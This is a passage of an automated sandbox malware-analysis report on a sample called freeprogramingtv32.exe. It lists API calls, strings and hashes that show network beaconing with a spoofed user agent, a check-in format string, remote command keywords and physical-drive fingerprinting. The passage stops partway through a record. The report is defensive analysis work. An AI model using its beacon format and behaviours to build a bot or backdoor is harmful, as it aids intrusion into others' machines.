RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DD78
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,Inno Setup: No Icons,00000000,00000000,00000000), ref: 0042DDB8

Strings

Inno Setup: No Icons, xrefs: 0042DD76

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Value$EnumQuery
String ID: Inno Setup: No Icons
API String ID: 1576479698-2016326496
Opcode ID: 36a0b08f46d91d09f38f531e186592c2a543f82488f0210131226a48688c00be
Instruction ID: 8d080c6700cf8453afd411d185ff7d2dd707f59376968ad674d2e7d16536e1ed
Opcode Fuzzy Hash: 36a0b08f46d91d09f38f531e186592c2a543f82488f0210131226a48688c00be
Instruction Fuzzy Hash: 1B012B33B55B7179FB3045256D01F7B57889B82B60F64013BF942EA2C0D6999C04936E

Function 004979B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 004555E4: GetCurrentProcess.KERNEL32(00000028), ref: 004555F3
Part of subcall function 004555E4: OpenProcessToken.ADVAPI32(00000000,00000028), ref: 004555F9

SetForegroundWindow.USER32(?), ref: 004979EA

Strings

Restarting Windows., xrefs: 004979C7
Not restarting Windows because Uninstall is being run from the debugger., xrefs: 00497A15

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Process$CurrentForegroundOpenTokenWindow
String ID: Not restarting Windows because Uninstall is being run from the debugger.$Restarting Windows.
API String ID: 3179053593-4147564754
Opcode ID: 0323d8d66cc3b06406dc5b3ff14738122cfbbad5a1835cd9a951f2203844edc7
Instruction ID: c063de388ad689520a7bf218b3c2bac36d2a05b7f2a834772bcba75d7a93240a
Opcode Fuzzy Hash: 0323d8d66cc3b06406dc5b3ff14738122cfbbad5a1835cd9a951f2203844edc7
Instruction Fuzzy Hash: 7C01D8706182809BEB01FB65F542BAC2F98DB44308F50847BF400672D3C73C9E49871D

Function 00498158 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0047D220: FreeLibrary.KERNEL32(74650000,00481B83), ref: 0047D236

Part of subcall function 0047CEF0: GetTickCount.KERNEL32 ref: 0047CF3A

Part of subcall function 00457294: SendMessageA.USER32(00000000,00000B01,00000000,00000000), ref: 004572B3

GetCurrentProcess.KERNEL32(00000001,?,?,?,?,00498AAF), ref: 004981AD
TerminateProcess.KERNEL32(00000000,00000001,?,?,?,?,00498AAF), ref: 004981B3

Strings

Detected restart. Removing temporary directory., xrefs: 00498167

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
String ID: Detected restart. Removing temporary directory.
API String ID: 1717587489-3199836293
Opcode ID: 16827ab7a0ef7f6390a34d3bdc103766b75ce4d7b82bcbfdcba13e4dfc1a80a7
Instruction ID: 5a0c7d6d547da3c9f2bf38e19969f213e715592a538ca6b32503ac86c24b9891
Opcode Fuzzy Hash: 16827ab7a0ef7f6390a34d3bdc103766b75ce4d7b82bcbfdcba13e4dfc1a80a7
Instruction Fuzzy Hash: 10E0E5312086002DEA0177AFBC5395B3F5CD747768761487FF40892952D83D5816C57D

Function 00455674 Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 00455693
Sleep.KERNEL32(?), ref: 004556A3
GetLastError.KERNEL32 ref: 004556B6
GetLastError.KERNEL32 ref: 004556C0

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 1a9f46df8411143c40a07a37eb8806f02fdea1552ea3146ec5e635b784cd6770
Instruction ID: f31041694d7e6b08a2ea33ec2b58b28b25921f40701f973673b956735a8b67d8
Opcode Fuzzy Hash: 1a9f46df8411143c40a07a37eb8806f02fdea1552ea3146ec5e635b784cd6770
Instruction Fuzzy Hash: 42F02B32705F58A78B21B56A889157FB2A8DB81366750012BFC0CD7313C878CC058BBC

Analysis Process: freeprogramingtv32.exePID: 1800, Parent PID: 3720COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	83.9%
Signature Coverage:	1.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 02B972A7 Relevance: 74.2, APIs: 29, Strings: 13, Instructions: 659
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(0000EA60), ref: 02B96704
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B9670F
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B96720
InternetOpenA.WININET(?), ref: 02B972B1
InternetSetOptionA.WININET(00000000,00000002,?), ref: 02B972D9
InternetSetOptionA.WININET(00000000,00000005,00001388,00000004), ref: 02B972F1
InternetSetOptionA.WININET(00000000,00000006,00001388,00000004), ref: 02B97309
InternetOpenUrlA.WININET(00000000,?,?,000000FF,04000200), ref: 02B97332
InternetReadFile.WININET(00000000,?,00001000,?), ref: 02B97354
InternetCloseHandle.WININET(00000000), ref: 02B97374
InternetCloseHandle.WININET(00000000), ref: 02B9737F
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B973EA
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B973FB
_malloc.LIBCMT ref: 02B97494
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B974A6
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B974B2
_malloc.LIBCMT ref: 02B9758A
_strtok.LIBCMT ref: 02B975BB
_swscanf.LIBCMT ref: 02B975D2
_strtok.LIBCMT ref: 02B975E9
_free.LIBCMT ref: 02B975F5
Sleep.KERNEL32(000007D0), ref: 02B976ED
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B9776E
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B97780
_sprintf.LIBCMT ref: 02B9781E
RtlEnterCriticalSection.NTDLL(00000020), ref: 02B978E2
RtlLeaveCriticalSection.NTDLL(00000020), ref: 02B97916

Strings

idle, xrefs: 02B97429, 02B97799
, xrefs: 02B97A90
auth_swith, xrefs: 02B97533
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02B96735
block, xrefs: 02B975A3
urls, xrefs: 02B97B32
%d;, xrefs: 02B97818
updurls, xrefs: 02B97451, 02B97AFC
connect, xrefs: 02B97401, 02B9746C
disconnect, xrefs: 02B97415, 02B9773E
auth_ip, xrefs: 02B9755F, 02B977F0
<htm, xrefs: 02B9738D
updips, xrefs: 02B9743D, 02B977CC

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Internet$EnterLeave$Option$CloseHandleOpenSleep_malloc_strtok$FileRead_free_sprintf_swscanf
String ID: $%d;$<htm$Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$auth_ip$auth_swith$block$connect$disconnect$idle$updips$updurls$urls
API String ID: 1657546717-1839899575
Opcode ID: 677227f20f45c71f5fa50f85da813447a805142baa60e50c6bfc4d2b73ffdbc5
Instruction ID: 0551da6a26034a8c390855e9828fbb1f14718c2140f2241857eab1ca8d4159a5
Opcode Fuzzy Hash: 677227f20f45c71f5fa50f85da813447a805142baa60e50c6bfc4d2b73ffdbc5
Instruction Fuzzy Hash: 6132017254C3819FEB35AB24D850BAFBBE6EF85310F1408ADF58997291EBB09404CF52

Function 02B96487 Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 228
memorysleeplibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.NTDLL(02BC71B8), ref: 02B964B6
GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 02B964CD
GetProcAddress.KERNEL32(00000000), ref: 02B964D6
GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 02B964E5
GetProcAddress.KERNEL32(00000000), ref: 02B964E8
GetTickCount.KERNEL32 ref: 02B964F4

Part of subcall function 02B9605A: _malloc.LIBCMT ref: 02B96068

GetVersionExA.KERNEL32(02BC7010), ref: 02B96521
_malloc.LIBCMT ref: 02B9654D

Part of subcall function 02BA2EEC: __FF_MSGBANNER.LIBCMT ref: 02BA2F03
Part of subcall function 02BA2EEC: __NMSG_WRITE.LIBCMT ref: 02BA2F0A
Part of subcall function 02BA2EEC: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001), ref: 02BA2F2F

_malloc.LIBCMT ref: 02B9655D
_malloc.LIBCMT ref: 02B96568
_malloc.LIBCMT ref: 02B96573
_malloc.LIBCMT ref: 02B9657E
_malloc.LIBCMT ref: 02B96589
_malloc.LIBCMT ref: 02B96594
_malloc.LIBCMT ref: 02B965A3
GetProcessHeap.KERNEL32(00000000,00000004), ref: 02B965BA
RtlAllocateHeap.NTDLL(00000000), ref: 02B965C3
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02B965D2
RtlAllocateHeap.NTDLL(00000000), ref: 02B965D5
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02B965E0
RtlAllocateHeap.NTDLL(00000000), ref: 02B965E3
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B9661D
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B9662A
_malloc.LIBCMT ref: 02B9664E
_malloc.LIBCMT ref: 02B9665C
_malloc.LIBCMT ref: 02B96663
_malloc.LIBCMT ref: 02B96689
QueryPerformanceCounter.KERNEL32(00000200), ref: 02B9669C
Sleep.KERNELBASE ref: 02B966AA
_malloc.LIBCMT ref: 02B966B6
_malloc.LIBCMT ref: 02B966C3
Sleep.KERNELBASE(0000EA60), ref: 02B96704
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B9670F
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B96720

Strings

cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d, xrefs: 02B9666B
ntdll.dll, xrefs: 02B964C2, 02B964CC, 02B964DD
sprintf, xrefs: 02B964C7
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02B96735
strcat, xrefs: 02B964D8

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: _malloc$Heap$CriticalSection$Allocate$Process$AddressEnterHandleLeaveModuleProcSleep$CountCounterInitializePerformanceQueryTickVersion
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d$ntdll.dll$sprintf$strcat
API String ID: 4273019447-2678694477
Opcode ID: 2efaf08780b526f6c5ec132e46b21685d7701ad3832ab3654ea465580e6a337c
Instruction ID: b714ec7bbc54e2215615149394d639e156b7a60aa8b259af4de288f4b5b98708
Opcode Fuzzy Hash: 2efaf08780b526f6c5ec132e46b21685d7701ad3832ab3654ea465580e6a337c
Instruction Fuzzy Hash: AE71B6B1D48340AFE311AF349C49B6BBBECAF85750F10086EF99597290DBB45840DF96

Function 00401B4B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(iphlpapi.dll), ref: 00401B5D
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 00401B74
GetAdaptersInfo.IPHLPAPI(?,00000400), ref: 00401B9D
FreeLibrary.KERNEL32(00401A3E), ref: 00401C1B

Strings

o, xrefs: 00401BF2
iphlpapi.dll, xrefs: 00401B58
GetAdaptersInfo, xrefs: 00401B6E

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll$o
API String ID: 514930453-3667123677
Opcode ID: 4786119c2dd8152e4b47b2a924d6ecb004799f19bdb0843ab8028876a5fcac46
Instruction ID: 9300e3b8f0653b0f10764aaa79a1f2494f67c894d04353eb45b18fdb2f867aae
Opcode Fuzzy Hash: 4786119c2dd8152e4b47b2a924d6ecb004799f19bdb0843ab8028876a5fcac46
Instruction Fuzzy Hash: 9621B870944109AFEF11DF65C944BEF7BB8EF41344F1440BAE504B22E1E778A985CB69

Function 02B9F8DA Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 02B9F8F0
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 02B9F909
GetAdaptersInfo.IPHLPAPI(?,?), ref: 02B9F92E
FreeLibrary.KERNEL32(00000000), ref: 02B9F9B7

Strings

GetAdaptersInfo, xrefs: 02B9F903
iphlpapi.dll, xrefs: 02B9F8E4

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll
API String ID: 514930453-3114217049
Opcode ID: e5731173e54242786d6c1f802ce637a2fef827ad7bcce2ebe6359edc5abd0bb6
Instruction ID: 982d12ec63111985e58afcd08603791e5653cb5db61ab4c443b4825e5178048f
Opcode Fuzzy Hash: e5731173e54242786d6c1f802ce637a2fef827ad7bcce2ebe6359edc5abd0bb6
Instruction Fuzzy Hash: 1E21C131E04209AFDF11CAB8D8806FEBBB8EF05364F0440FAEA44E7601D730C945CAA0

Function 02B9F7D6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 02B9F7F5
DeviceIoControl.KERNELBASE(00000000,002D1400,?,0000000C,?,00000400,?,00000000), ref: 02B9F833
GetLastError.KERNEL32 ref: 02B9F894
CloseHandle.KERNELBASE(?), ref: 02B9F8CB

Strings

\\.\PhysicalDrive0, xrefs: 02B9F7EE

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CloseControlCreateDeviceErrorFileHandleLast
String ID: \\.\PhysicalDrive0
API String ID: 4026078076-1180397377
Opcode ID: 89083aa53291acbbc4ba0b4b0658ffd3600724a50b21e2330b8bfc4338123a59
Instruction ID: 9b2353eb7488f5a69581d9bab6d86751c107fdcff490061a2c3de741592e261c
Opcode Fuzzy Hash: 89083aa53291acbbc4ba0b4b0658ffd3600724a50b21e2330b8bfc4338123a59
Instruction Fuzzy Hash: 9B31C071D0021AEBDF14CF94D894BBEBBB8EF45764F2041BAE504E3680D7706A01CB90

Function 00401A4F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 00401A6B
DeviceIoControl.KERNELBASE(?,002D1400,?,0000000C,?,00000400,00000400,00000000), ref: 00401AB2
GetLastError.KERNEL32 ref: 00401B0E
CloseHandle.KERNELBASE(?), ref: 00401B3D

Strings

\\.\PhysicalDrive0, xrefs: 00401A63

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: CloseControlCreateDeviceErrorFileHandleLast
String ID: \\.\PhysicalDrive0
API String ID: 4026078076-1180397377
Opcode ID: a2e68a95d94bbc6a40bee8a11280b17da373fae52957672b226b91710cefcd17
Instruction ID: c07866d4b4e887281577b2397114bebd63d98cfae9bba907e2345ee80fd6f57b
Opcode Fuzzy Hash: a2e68a95d94bbc6a40bee8a11280b17da373fae52957672b226b91710cefcd17
Instruction Fuzzy Hash: 00316D71D01118EACB21EFA5CD849EFBBB9FF41750F20417AE515B22A0E3786E45CB98

Function 02B9641D Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 251
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.NTDLL(02BC71B8), ref: 02B964B6
GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 02B964CD
GetProcAddress.KERNEL32(00000000), ref: 02B964D6
GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 02B964E5
GetProcAddress.KERNEL32(00000000), ref: 02B964E8
GetTickCount.KERNEL32 ref: 02B964F4
GetVersionExA.KERNEL32(02BC7010), ref: 02B96521
_malloc.LIBCMT ref: 02B9654D
_malloc.LIBCMT ref: 02B9655D
_malloc.LIBCMT ref: 02B96568
_malloc.LIBCMT ref: 02B96573
_malloc.LIBCMT ref: 02B9657E
_malloc.LIBCMT ref: 02B96589
_malloc.LIBCMT ref: 02B96594
_malloc.LIBCMT ref: 02B965A3
GetProcessHeap.KERNEL32(00000000,00000004), ref: 02B965BA
RtlAllocateHeap.NTDLL(00000000), ref: 02B965C3
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02B965D2
RtlAllocateHeap.NTDLL(00000000), ref: 02B965D5
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02B965E0

Strings

cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d, xrefs: 02B9666B
ntdll.dll, xrefs: 02B964C2, 02B964CC, 02B964DD
sprintf, xrefs: 02B964C7
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02B96735
strcat, xrefs: 02B964D8

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: _malloc$Heap$Process$AddressAllocateHandleModuleProc$CountCriticalInitializeSectionTickVersion
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d$ntdll.dll$sprintf$strcat
API String ID: 11946493-2678694477
Opcode ID: bc92efed56dc959cd2e9a97fff9293c16bfdd8469946e58d69a26d024852ba6d
Instruction ID: 84f3636328f2885edfefbd1219cba9f9b9669506a4f034c03e0b1003e1743d90
Opcode Fuzzy Hash: bc92efed56dc959cd2e9a97fff9293c16bfdd8469946e58d69a26d024852ba6d
Instruction Fuzzy Hash: A281D572D48300AFE311AF709C48B6BBBE9AF85750F1008AEF59597280DBB49840DF96

Function 02B91CF8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 105
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02B91D11
GetLastError.KERNEL32 ref: 02B91D23

Part of subcall function 02B91712: __EH_prolog.LIBCMT ref: 02B91717

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02B91D59
GetLastError.KERNEL32 ref: 02B91D6B
__beginthreadex.LIBCMT ref: 02B91DB1
GetLastError.KERNEL32 ref: 02B91DC6
CloseHandle.KERNEL32(00000000), ref: 02B91DDD
CloseHandle.KERNEL32(00000000), ref: 02B91DEC
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02B91E14
CloseHandle.KERNELBASE(00000000), ref: 02B91E1B

Strings

thread, xrefs: 02B91DFB
thread.entry_event, xrefs: 02B91D3C
thread.exit_event, xrefs: 02B91D84

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast$CreateEvent$H_prologObjectSingleWait__beginthreadex
String ID: thread$thread.entry_event$thread.exit_event
API String ID: 831262434-3017686385
Opcode ID: e8bd0bfee32ee87fbc5ea08ae61b304e6381b449599b6c1167ad5305345eed4a
Instruction ID: 879502e411e07b799a98659fa080de3c5cdc726f455b18472ac5b09a8c2352ee
Opcode Fuzzy Hash: e8bd0bfee32ee87fbc5ea08ae61b304e6381b449599b6c1167ad5305345eed4a
Instruction Fuzzy Hash: F0319272A043019FDB01EF28C848B2BBBE5FF84754F1049AEF95997290DB709849DF92

Function 02B94D86 Relevance: 16.8, APIs: 11, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 02B94D8B
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B94DB7
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B94DC3

Part of subcall function 02B94BED: __EH_prolog.LIBCMT ref: 02B94BF2
Part of subcall function 02B94BED: InterlockedExchange.KERNEL32(?,00000000), ref: 02B94CF2

RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B94E93
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B94E99
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B94EA0
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B94EA6
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B950A7
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B950AD
RtlEnterCriticalSection.NTDLL(02BC71B8), ref: 02B950B8
RtlLeaveCriticalSection.NTDLL(02BC71B8), ref: 02B950C1

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog$ExchangeInterlocked
String ID:
API String ID: 2062355503-0
Opcode ID: ddcdc976a19ec6e41fc414bfafb5338655ce581ebcfc0ebd68f2cb54cf0053cf
Instruction ID: 14ece2cced9da6fccff57a59b4c1be11af13677dc8835bfdfa0dc8b858d888ad
Opcode Fuzzy Hash: ddcdc976a19ec6e41fc414bfafb5338655ce581ebcfc0ebd68f2cb54cf0053cf
Instruction Fuzzy Hash: 1CB12B71D0425DDFEF25DFA0C844BEEBBB9EF05314F1440AAE80566290DBB46A49CFA1

Function 00401F64 Relevance: 12.1, APIs: 8, Instructions: 121
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,0000000A), ref: 00401F7A
GetLastError.KERNEL32 ref: 00401F86
SizeofResource.KERNEL32(00000000), ref: 00401F93
LoadResource.KERNEL32(00000000), ref: 00401FAD
LockResource.KERNEL32(00000000), ref: 00401FB4
GlobalAlloc.KERNELBASE(00000040,00000000), ref: 00401FBF
GetTickCount.KERNEL32 ref: 00401FFB
GlobalAlloc.KERNELBASE(00000040,?), ref: 00402061

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Resource$AllocGlobal$CountErrorFindLastLoadLockSizeofTick
String ID:
API String ID: 564119183-0
Opcode ID: c339dbb3d4f54c4bfe23240511e1faf338c1a50a53de60f6f0a2310917010a4d
Instruction ID: 3f373f2fe47a9e58058ec223940fe379f908771e1a31376a549d0366c6000c22
Opcode Fuzzy Hash: c339dbb3d4f54c4bfe23240511e1faf338c1a50a53de60f6f0a2310917010a4d
Instruction Fuzzy Hash: D0314C32A402516FDB109FB99E889AF7FB8EF45344B10807AFA46F7291D6748841C7A8

Function 02B926DB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 02B92706
CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02B9272B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02BB5A93), ref: 02B92738

Part of subcall function 02B91712: __EH_prolog.LIBCMT ref: 02B91717

SetWaitableTimer.KERNELBASE(?,?,000493E0,00000000,00000000,00000000), ref: 02B92778
RtlLeaveCriticalSection.NTDLL(?), ref: 02B927D9

Strings

timer, xrefs: 02B92745

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID: timer
API String ID: 4293676635-1792073242
Opcode ID: bd520891444b4ff417fa8a947928a2db05b6d47246f15e548a390f15f5349a7d
Instruction ID: d511f57403a7f003239ff2fa76dd3a43ffb4baf17277960dab5f073318687f01
Opcode Fuzzy Hash: bd520891444b4ff417fa8a947928a2db05b6d47246f15e548a390f15f5349a7d
Instruction Fuzzy Hash: DE31C0B2904702AFD711DF25C944B66BBE8FF48764F004AAEF85593680DB74E800CF91

Function 02B92B95 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

